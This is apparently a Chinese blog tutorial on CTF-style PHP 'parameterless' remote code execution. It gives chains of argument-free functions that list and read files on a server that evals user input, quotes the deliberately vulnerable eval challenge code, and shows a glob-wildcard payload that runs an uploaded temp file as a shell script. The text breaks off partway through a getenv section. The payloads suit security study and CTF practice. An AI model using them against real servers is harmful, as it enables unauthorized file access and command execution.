php读参数文件下载,php rce之无参数读文件

一、什么是无参数?

就是使用函数的时候不能带有参数。

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

所以我们要使用无参数的函数进行文件读取或者命令执行。

二、无参数文件读取查看当前目录文件名

通常,可以使用print_r(scandir('.'))查看当前目录下所有文件,以数组的形式输出。

abadfecc2ce845fd7e2be6dc6b6cca50.png

但是要怎么构造参数里这个点呢。

fce5569cf9d4e84db902059dd2c3f5a7.pngcurrent() 返回数组中的单元,默认第一个值。

所以我们输出print_r(scandir(current(localeconv())));也会如同print_r(scandir('.'))打印当前目录下文件名。

使用print_r(scandir(pos(localeconv())));,pos是current的别名

reset()函数将内部指针指向数组中的第一个元素,并输出。相关的方法:- 返回数组中的当前元素的值

- 将内部指针指向数组中的最后一个元素,并输出

- 将内部指针指向数组中的下一个元素,并输出

- 将内部指针指向数组中的上一个元素,并输出

- 返回当前元素的键名和键值,并将内部指针向前移动

cf10559194a46c45f39c9b605f97fd30.png

所以我们现在要构造reset()的参数。

chr(46)就是字符..所以我们需要构造 46 .chr(rand())   # 需要看运气。。。不现实

char(time())

char(current(localtime(time())))chr(time())

chr() 函数以256为一个周期,所以chr(46)、chr(302)、chr(558)等都等于.

所以使用chr(time()) 一个周期必能出现一次。

chr(current(localtime(time())))

localtime()以数值数组和关联数组的形式输出本地时间:关联数组的键名如下:[tm_sec] - 秒数

[tm_min] - 分钟数

[tm_hour] - 小时

[tm_mday] - 月份中的第几天

[tm_mon] - 年份中的第几个月,从 0 开始表示一月份

[tm_year] - 年份,从 1900 开始

[tm_wday] - 星期中的第几天 (Sunday=0)

[tm_yday] - 年中的第几天

[tm_isdst] - 夏令时当前是否生效

数组第一个值每秒加 1 ,所以最多 60 秒之内就可以得到 46 .然后用current()函数即可获得 第一位键值。再利用 chr() 函数就可以完美获得.

phpversion()返回 PHP 版本,例如 5.4.45

floor(phpversion()) 返回 5

sqrt(floor(phpversion())) 返回 2.2360679774998

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

21a7b01f9242eff6f969624dd1338187.png

crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流。同时,把新行(\n)转换为

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符/

ord()返回字符串中第一个字符的Ascii值

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));多试几次。

2233b5a38a16d5db3d9fccd9de4f838f.png

strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符.

681a37039e1b8d32df46c8bd96264302.pngprint_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

绝对路径

正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名。

获取绝对路径可用的有getcwd()和realpath('.')

21489c622d77acbcc781fa944492f810.png

所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名.

2f42fd3d225e4b64f1d036de33af7cd3.png

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:- 将数组的内部指针指向最后一个单元

- 从关联数组中取得键名

- 返回数组中当前的键/值对并将数组指针向前移动一步

- 将数组的内部指针倒回一位

- 将数组的内部指针指向第一个单元

- 将数组中的内部指针向前移动一位

如果要获取最后一个文件内容,我们可以:show_source(end(scandir(getcwd())));

# 或者使用其他函数

readfile

highlight_file

file_get_contents

readgzfile()    # 也可读文件,常用于绕过过滤

报错Strict Standards: Only variables should be passed by reference in原因:PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件。array_reverse() 以相反的元素顺序返回数组

本来在最后一位的文件可以反过来放第一位读取。show_source(current(array_reverse(scandir(getcwd()))));

如果是倒数第二个我们可以用:readfile(next(array_reverse(scandir(getcwd()))));

我想着还可以继续用next()结果不行。

那么如何读取其他文件array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。readfile(array_rand(array_flip(scandir(getcwd()))));

readfile(array_rand(array_flip(scandir(current(localeconve())))));

903ff917dfaf3c759ce604c2aba6c0eb.png

如果目标文件不在当前目录呢?dirname() :返回路径中的目录部分,

d882230c3a1ec229dac6b5a8caba5f22.png

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

chdir() :改变当前工作目录print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

构造".."

print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

结合上文的一些构造都是可以获得".."的 :next(scandir(chr(ord(hebrevc(crypt(time()))))))

读取上级目录文件

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

如果不能使用dirname(),可以使用构造".."的方式切换路径并读取:

但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

或更复杂的:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

还可以用:

show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

还有:if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

查看和读取根目录文件print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件.

但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功.if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

利用通配符临时文件<?php

if(isset($_GET['code'])){

$code=$_GET['code'];

if(strlen($code)>35){

die("Long.");

}

if(preg_match("/[A-Za-z0-9_$]+/",$code)){

die("NO.");

}

eval($code);

}else{

highlight_file(__FILE__);

}

因为$不能使用了,所以我们无法构造PHP中的变量。

如何利用无字母、数字、$的系统命令来getshell?shell下可以利用.来执行任意脚本

Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:*可以代替0个及以上任意字符

?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

能够匹配上/???/?????????这个通配符的文件有很多.

大部分同学对于通配符,可能知道的都只有*和?.

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉一些干扰选项。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:

7ff89310a7d1f878d3b3bb0b4a9c91d5.png

那么,我们可以利用[@-[]来表示大写字母:

构造 poc ,执行任意命令。

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?c=. /???/????????[@-[],发送数据包如下:#!/bin/sh

ls

1469341b175fb6919db640cf7890fc3c.png

三、无参数命令执行(RCE)

我们可以使用无参数函数任意读文件,也可以执行命令。<?php

if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {

eval($_GET['code']);

} else{

show_source(__FILE__);

}

我们传入一个参数,然后经过正则替换后剩余 分号;方可执行我们的payload.

代码非常清晰,首先preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

代码会将$_GET['code']中满足正则/\W+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于;如果满足,则执行eval($_GET['code']);

否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE[^\W]+\((?R)?\)

首先是[^\W]对于\W,其意思等价于[^A-Za-z0-9_]。那么我们知道,我们的input必须以此开头然后是括号匹配\( ...... \)

括号中间为(?R)?

意思为重复整个模式简单理解,我们可以输入以下类型a(b(c()))

但我们不能加参数,否则将无法匹配,正则替换掉其他之后,甚于的不是只有分号,所以不强等于 左边的;a(c,d)

所以正则看完,题目的意思非常明确了:我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;。

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

3.1 getenv()

查阅php手册,有非常多的超全局变量$GLOBALS

$_SERVER

$_GET

$_POST

$_FILES

$_COOKIE

$_SESSION

$_REQUEST

$_ENV

我们可以使用$_ENV,对应函数为getenv()getenv — 获取一个环境变量的值

首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers。

参考:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值